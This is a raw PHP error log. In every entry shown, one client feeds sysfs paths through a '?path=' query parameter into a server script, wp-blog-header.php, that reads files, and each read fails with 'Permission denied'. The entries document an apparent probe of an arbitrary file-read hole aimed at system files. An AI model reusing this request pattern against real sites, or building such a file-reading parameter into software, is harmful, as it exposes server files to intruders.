[Thu Mar 26 11:35:58.016489 2026] [php:warn] [pid 3106380] [client 74.7.241.26:60688] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:eb/device:ec/subsystem/devices/device:ce/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:eb/device:ec/subsystem/devices/device:ce
[Thu Mar 26 11:36:00.612017 2026] [php:warn] [pid 3106380] [client 74.7.241.26:60688] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:fb/device:fc/subsystem/devices/device:dc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:fb/device:fc/subsystem/devices/device:dc
[Thu Mar 26 11:36:03.367635 2026] [php:warn] [pid 3106380] [client 74.7.241.26:60688] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fd/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ba/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fd/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ba
[Thu Mar 26 11:36:07.194531 2026] [php:warn] [pid 3107073] [client 74.7.241.26:54732] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dc/subsystem/drivers/ec/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dc/subsystem/drivers/ec
[Thu Mar 26 11:36:08.251058 2026] [php:warn] [pid 3107073] [client 74.7.241.26:54732] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ab/device:ac/subsystem/drivers/ec/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ab/device:ac/subsystem/drivers/ec
[Thu Mar 26 11:36:15.052911 2026] [php:warn] [pid 3107073] [client 74.7.241.26:54732] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ff/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ff/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bc
[Thu Mar 26 11:36:15.607297 2026] [php:warn] [pid 3107073] [client 74.7.241.26:54732] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:cd/device:ce/subsystem/devices/device:fe/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:cd/device:ce/subsystem/devices/device:fe
[Thu Mar 26 11:36:23.575868 2026] [php:warn] [pid 3107073] [client 74.7.241.26:54732] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:de/subsystem/drivers/ec/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:de/subsystem/drivers/ec
[Thu Mar 26 11:36:25.744520 2026] [php:warn] [pid 3107073] [client 74.7.241.26:54732] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ef/subsystem/devices/device:ee/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ef/subsystem/devices/device:ee
[Thu Mar 26 11:36:35.891360 2026] [php:warn] [pid 3107073] [client 74.7.241.26:54732] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:aa/subsystem/devices/device:dc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:aa/subsystem/devices/device:dc
[Thu Mar 26 11:36:36.992657 2026] [php:warn] [pid 3107073] [client 74.7.241.26:54732] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:bd/device:be/subsystem/devices/device:ec/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:bd/device:be/subsystem/devices/device:ec
[Thu Mar 26 11:36:37.486936 2026] [php:warn] [pid 3107073] [client 74.7.241.26:54732] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:bd/device:be/subsystem/drivers/ac/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:bd/device:be/subsystem/drivers/ac
[Thu Mar 26 11:36:40.158626 2026] [php:warn] [pid 3107073] [client 74.7.241.26:54732] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ce/subsystem/devices/device:ea/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ce/subsystem/devices/device:ea
[Thu Mar 26 11:36:45.729877 2026] [php:warn] [pid 3107073] [client 74.7.241.26:54732] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cd/subsystem/devices/device:aa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cd/subsystem/devices/device:aa
[Thu Mar 26 11:36:46.733643 2026] [php:warn] [pid 3107073] [client 74.7.241.26:54732] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:fd/device:fe/subsystem/devices/device:fa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:fd/device:fe/subsystem/devices/device:fa
[Thu Mar 26 11:36:48.805383 2026] [php:warn] [pid 3107073] [client 74.7.241.26:54732] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:de/subsystem/devices/device:cc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:de/subsystem/devices/device:cc
[Thu Mar 26 11:36:49.905833 2026] [php:warn] [pid 3107073] [client 74.7.241.26:54732] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:fd/device:fe/subsystem/devices/device:dc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:fd/device:fe/subsystem/devices/device:dc
[Thu Mar 26 11:36:51.487695 2026] [php:warn] [pid 3107073] [client 74.7.241.26:54732] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:cb/device:cc/subsystem/devices/device:ba/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:cb/device:cc/subsystem/devices/device:ba
[Thu Mar 26 11:36:55.816952 2026] [php:warn] [pid 3107073] [client 74.7.241.26:54732] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ed/subsystem/drivers/ec/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ed/subsystem/drivers/ec
[Thu Mar 26 11:36:56.276778 2026] [php:warn] [pid 3107073] [client 74.7.241.26:54732] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ac/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ac/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec
[Thu Mar 26 11:37:00.314279 2026] [php:warn] [pid 3107073] [client 74.7.241.26:54732] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:cd/device:ce/subsystem/drivers/ac/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:cd/device:ce/subsystem/drivers/ac
[Thu Mar 26 11:37:03.675237 2026] [php:warn] [pid 3107099] [client 74.7.241.26:38622] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:eb/subsystem/devices/device:ec/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:eb/subsystem/devices/device:ec
[Thu Mar 26 11:37:13.028359 2026] [php:warn] [pid 3107099] [client 74.7.241.26:38622] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bc/subsystem/devices/device:fc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bc/subsystem/devices/device:fc
[Thu Mar 26 11:37:13.557282 2026] [php:warn] [pid 3107099] [client 74.7.241.26:38622] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:bd/device:be/subsystem/devices/device:ae/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:bd/device:be/subsystem/devices/device:ae
[Thu Mar 26 11:37:15.675117 2026] [php:warn] [pid 3107099] [client 74.7.241.26:38622] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fb/subsystem/devices/device:ae/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fb/subsystem/devices/device:ae
[Thu Mar 26 11:37:16.677969 2026] [php:warn] [pid 3107099] [client 74.7.241.26:38622] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:fb/device:fc/subsystem/drivers/ec/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:fb/device:fc/subsystem/drivers/ec
[Thu Mar 26 11:37:17.777905 2026] [php:warn] [pid 3107099] [client 74.7.241.26:38622] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ea/subsystem/devices/device:aa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ea/subsystem/devices/device:aa
[Thu Mar 26 11:37:18.922218 2026] [php:warn] [pid 3107099] [client 74.7.241.26:38622] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ed/device:ee/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ed/device:ee
[Thu Mar 26 11:37:21.973779 2026] [php:warn] [pid 3107099] [client 74.7.241.26:38622] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ba/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ba/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec
[Thu Mar 26 11:37:26.802163 2026] [php:warn] [pid 3107099] [client 74.7.241.26:38622] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fa/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fa/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac
[Thu Mar 26 11:37:30.464861 2026] [php:warn] [pid 3107099] [client 74.7.241.26:38622] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bf/subsystem/devices/device:fc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bf/subsystem/devices/device:fc
[Thu Mar 26 11:37:35.296752 2026] [php:warn] [pid 3107099] [client 74.7.241.26:38622] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ec/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fe/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ec/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fe
[Thu Mar 26 11:37:36.345143 2026] [php:warn] [pid 3107099] [client 74.7.241.26:38622] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:bd/device:be/subsystem/devices/device:aa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:bd/device:be/subsystem/devices/device:aa
[Thu Mar 26 11:37:37.434050 2026] [php:warn] [pid 3107099] [client 74.7.241.26:38622] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cb/subsystem/devices/device:ce/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cb/subsystem/devices/device:ce
[Thu Mar 26 11:37:39.468917 2026] [php:warn] [pid 3107099] [client 74.7.241.26:38622] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ec/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ec/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec
[Thu Mar 26 11:37:40.066590 2026] [php:warn] [pid 3107099] [client 74.7.241.26:38622] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:bb/device:bc/subsystem/devices/device:fe/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:bb/device:bc/subsystem/devices/device:fe
[Thu Mar 26 11:37:44.801074 2026] [php:warn] [pid 3107099] [client 74.7.241.26:38622] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:be/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:be/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fa
[Thu Mar 26 11:37:45.311054 2026] [php:warn] [pid 3107099] [client 74.7.241.26:38622] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:af/subsystem/drivers/ac/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:af/subsystem/drivers/ac
[Thu Mar 26 11:37:46.378874 2026] [php:warn] [pid 3107099] [client 74.7.241.26:38622] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:cb/device:cc/subsystem/devices/device:ce/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:cb/device:cc/subsystem/devices/device:ce
[Thu Mar 26 11:37:46.995086 2026] [php:warn] [pid 3107099] [client 74.7.241.26:38622] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ab/device:ac/subsystem/devices/device:dc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ab/device:ac/subsystem/devices/device:dc
[Thu Mar 26 11:37:50.760738 2026] [php:warn] [pid 3107099] [client 74.7.241.26:38622] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:eb/subsystem/devices/device:be/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:eb/subsystem/devices/device:be
[Thu Mar 26 11:37:54.786855 2026] [php:warn] [pid 3107074] [client 74.7.241.26:49406] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cc/subsystem/devices/device:fe/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cc/subsystem/devices/device:fe
[Thu Mar 26 11:37:55.272060 2026] [php:warn] [pid 3107074] [client 74.7.241.26:49406] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:db/device:dc/subsystem/devices/device:fe/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:db/device:dc/subsystem/devices/device:fe
[Thu Mar 26 11:38:01.726300 2026] [php:warn] [pid 3107074] [client 74.7.241.26:49406] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ed/subsystem/devices/device:be/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ed/subsystem/devices/device:be
